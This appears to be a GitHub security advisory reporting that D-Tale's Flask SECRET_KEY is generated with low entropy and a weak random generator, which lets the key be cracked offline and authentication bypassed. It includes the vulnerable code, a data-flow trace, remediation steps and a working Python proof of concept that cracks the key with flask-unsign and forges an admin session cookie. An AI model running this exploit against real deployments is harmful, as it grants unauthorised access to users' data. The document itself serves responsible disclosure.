Skip to content

Weak Flask SECRET_KEY Leads to Session Forgery / Authentication Bypass #960

Description

@NinjaGPT

Weak Flask SECRET_KEY Leads to Session Forgery / Authentication Bypass

Vulnerability Name

Use of Insufficiently Random / Low-Entropy Flask SECRET_KEY in D-Tale, allowing offline brute-force of the session-signing key and forgery of authenticated session cookies (authentication bypass).

Vulnerability Type

  • CWE-331: Insufficient Entropy
  • CWE-330: Use of Insufficiently Random Values
  • CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
  • Resulting impact: CWE-384 (Session Fixation/Forgery) / CWE-287 (Improper Authentication — bypass)

CVSS 3.1

  • Base Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
  • Rationale:
    • AV:N — the login page and signed session cookie are reachable over the network.
    • AC:H — success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the attacker must obtain a cookie signed by the target instance and then brute-force a 2^51.7 key space offline (achievable in hours–days on a GPU cluster, but not a single trivial request). The dependency on a non-default deployment configuration is the primary driver of High attack complexity.
    • PR:N / UI:N — no credentials and no user interaction required; once auth is enabled, an unauthenticated visitor is issued a signed session cookie by simply requesting the login page.
    • C:H — forging logged_in=True grants authenticated access to read all datasets loaded into the D-Tale process.
    • I:L — data-mutating endpoints become reachable, but they operate on the in-memory, transient DataFrame views held by the process rather than on a persistent system, credentials, or stored records; the integrity impact is therefore limited rather than system-level.
    • A:N — no direct availability impact.

Note: this issue is only relevant when D-Tale authentication is explicitly enabled ([auth] active = true). D-Tale ships without authentication by default.

Vulnerability Description

When authentication is enabled, D-Tale protects its routes via a Flask session cookie. After a successful login the server stores session["logged_in"] = True and session["username"], and the requires_auth decorator authorizes every subsequent request solely by reading those two session values. Flask session cookies are client-side, integrity-protected only by an HMAC keyed with the application's SECRET_KEY.

D-Tale generates that SECRET_KEY at process startup with build_secret_key(), which selects 10 characters from an alphabet of only 36 symbols (A–Z and 0–9) using numpy.random.choice. This yields a key space of 36^10 ≈ 3.66 × 10^15 ≈ 2^51.7, compared to Flask's recommended os.urandom(24) (≈ 2^192). Two compounding weaknesses:

  1. Low entropy — 2^51.7 is brute-forceable offline. At ~10^10 HMAC verifications/second (commodity GPU cluster) the average time to recover the key is ≈ 2.1 days; lower-end hardware is in the order of days to a couple of weeks. Each candidate key is testable offline against a single captured cookie (no further interaction with the server).
  2. Weak PRNGnumpy.random (Mersenne Twister) is not a cryptographically secure RNG. Its internal state is recoverable from outputs, and it is not intended for secret generation, further weakening the practical search.

Any unauthenticated client receives a signed (unauthenticated) session cookie simply by visiting /login. The attacker uses that cookie as an offline oracle to recover SECRET_KEY, then mints a cookie carrying {"logged_in": true, "username": "admin"}, signed with the recovered key. The requires_auth decorator accepts it. The password is never needed — this bypasses authentication entirely, regardless of password strength or any rate-limiting that may be added to the login form.

Vulnerability SINK

dtale/app.py — the low-entropy, non-CSPRNG key generator whose output becomes the HMAC key for all session cookies:

# dtale/app.py:333
def build_secret_key():
    """
    Builds a string of 10 randomly chosen characters to be used as the Flask app's SECRET_KEY
    """
    return "".join(np.random.choice(list(string.ascii_uppercase + string.digits), 10))

# dtale/app.py:361
app.config["SECRET_KEY"] = build_secret_key()

The sink is the assignment of a 2^51.7-entropy, numpy-PRNG-derived value to app.config["SECRET_KEY"], which Flask uses to HMAC-sign every session cookie.

Vulnerability SOURCE

The attacker-controlled / attacker-observable input that drives exploitation is an HMAC-signed session cookie issued by the target instance, obtained with no authentication from the login route, plus an attacker-crafted cookie submitted back to any protected route:

# dtale/auth.py:24 — any unauthenticated GET /login returns a signed session cookie
return render_template("dtale/login.html", page="login")

# dtale/auth.py:49 — protected routes trust only these session fields (verified by SECRET_KEY HMAC)
if not session.get("logged_in") or not session.get("username"):
    session["next"] = request.url
    return redirect(url_for("login"))
return f(*args, **kwargs)

The forged cookie value (session["logged_in"], session["username"]) is the controllable source; the integrity check that should stop it is defeated by the brute-forced SECRET_KEY.

Call Stack / Data Flow (file → key code → one-line note)

  1. dtale/app.py:6,9import numpy as np / import string
    Pulls in the non-cryptographic numpy PRNG and a 36-character alphabet later used to build the secret.

  2. dtale/app.py:333 build_secret_key()return "".join(np.random.choice(list(string.ascii_uppercase + string.digits), 10))
    Generates a 10-char key over a 36-symbol alphabet (2^51.7) using a non-CSPRNG — the root weakness.

  3. dtale/app.py:361app.config["SECRET_KEY"] = build_secret_key()
    Installs that weak value as the HMAC key for every Flask session cookie in the process.

  4. dtale/auth.py:24 login() (GET)return render_template("dtale/login.html", page="login")
    An unauthenticated request to /login causes Flask to issue a Set-Cookie: session=... signed with the weak key — the offline oracle.

  5. Attacker offline — brute-force SECRET_KEY against the captured cookie (HMAC-SHA1 over the 2^51.7 space; e.g. via flask-unsign).
    Recovers the signing key in hours–days; no interaction with the server during this phase.

  6. dtale/auth.py:21-22 (logic replicated by attacker)session["logged_in"] = True / session["username"] = ...
    Attacker forges a cookie carrying these exact fields and signs it with the recovered key.

  7. dtale/auth.py:49-52 requires_authif not session.get("logged_in") or not session.get("username"): ... redirect(login)
    The decorator validates the forged cookie's HMAC with the (now known) key, finds logged_in=True, and grants access — authentication bypassed.

Proof of Concept (Python)

The PoC has two phases: (A) capture a server-signed cookie and recover the SECRET_KEY offline; (B) forge an authenticated cookie and access a protected endpoint. The key recovery uses flask-unsign (pip install flask-unsign requests). The brute-force wordlist must enumerate the A–Z0–9, length-10 space — shown here as the exact charset/length to target; full enumeration is large, so in practice GPU/distributed cracking or flask-unsign --wordlist against generated candidates is used.

#!/usr/bin/env python3
"""
PoC: D-Tale weak SECRET_KEY -> session forgery / auth bypass.
Requires: pip install requests flask-unsign
"""
import itertools
import string
import requests
import flask_unsign

TARGET = "http://TARGET_HOST:PORT"   # e.g. http://127.0.0.1:40000

# ---- Phase A: obtain a server-signed session cookie (no auth needed) ----
r = requests.get(f"{TARGET}/login", allow_redirects=False, timeout=30)
signed_cookie = r.cookies.get("session")
assert signed_cookie, "No session cookie issued by /login"
print("[*] Captured signed session cookie:", signed_cookie)

# ---- Phase A (cont.): recover SECRET_KEY offline ----
# Key space: 10 chars from A-Z0-9 (36^10 == 2^51.7).
# For demonstration we show the exact charset/length to brute force.
# In practice feed candidates to flask_unsign.Cracker (GPU/distributed for full space).
CHARSET = string.ascii_uppercase + string.digits  # 36 symbols
KEYLEN = 10

def candidate_keys(limit=None):
    count = 0
    for combo in itertools.product(CHARSET, repeat=KEYLEN):
        yield "".join(combo)
        count += 1
        if limit and count >= limit:
            return

cracker = flask_unsign.Cracker(value=signed_cookie)
secret_key = None
for key in candidate_keys():            # full space is 2^51.7; offload to GPU/cluster in practice
    if cracker.unsign(key):
        secret_key = key
        break

# (For a runnable demo against a test instance, replace the loop above with:
#   secret_key = flask_unsign.Cracker(value=signed_cookie).crack(
#       flask_unsign.wordlist.load('your_candidate_wordlist.txt')))
assert secret_key, "SECRET_KEY not recovered (expand candidate space / use GPU cracker)"
print("[+] Recovered SECRET_KEY:", secret_key)

# ---- Phase B: forge an authenticated cookie and bypass auth ----
forged = flask_unsign.sign(
    {"logged_in": True, "username": "admin"},
    secret=secret_key,
)
print("[+] Forged authenticated cookie:", forged)

s = requests.Session()
s.cookies.set("session", forged)
resp = s.get(f"{TARGET}/dtale/main/1", allow_redirects=False, timeout=30)
print("[*] Protected-route status:", resp.status_code)
if resp.status_code == 200 and "login" not in resp.headers.get("Location", ""):
    print("[+] AUTH BYPASS CONFIRMED — accessed protected route without credentials")
else:
    print("[-] Not bypassed (check target / data_id)")

Remediation

  • Generate the key with a CSPRNG and adequate length, e.g. secrets.token_urlsafe(32) or os.urandom(32) (≥ 2^256). Stop using numpy.random for secrets.
  • Persist the key (config file / DTALE_SECRET_KEY env var) instead of regenerating per process, so it can be set to a strong value once and audited.
  • Optionally set SESSION_COOKIE_SECURE, SESSION_COOKIE_HTTPONLY, SESSION_COOKIE_SAMESITE to reduce cookie capture surface.

Affected Component / Preconditions

  • Component: dtale/app.py (build_secret_key), session auth in dtale/auth.py.
  • Precondition: authentication enabled ([auth] active = true). Default D-Tale deployments run without auth and are out of scope for this specific bypass.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions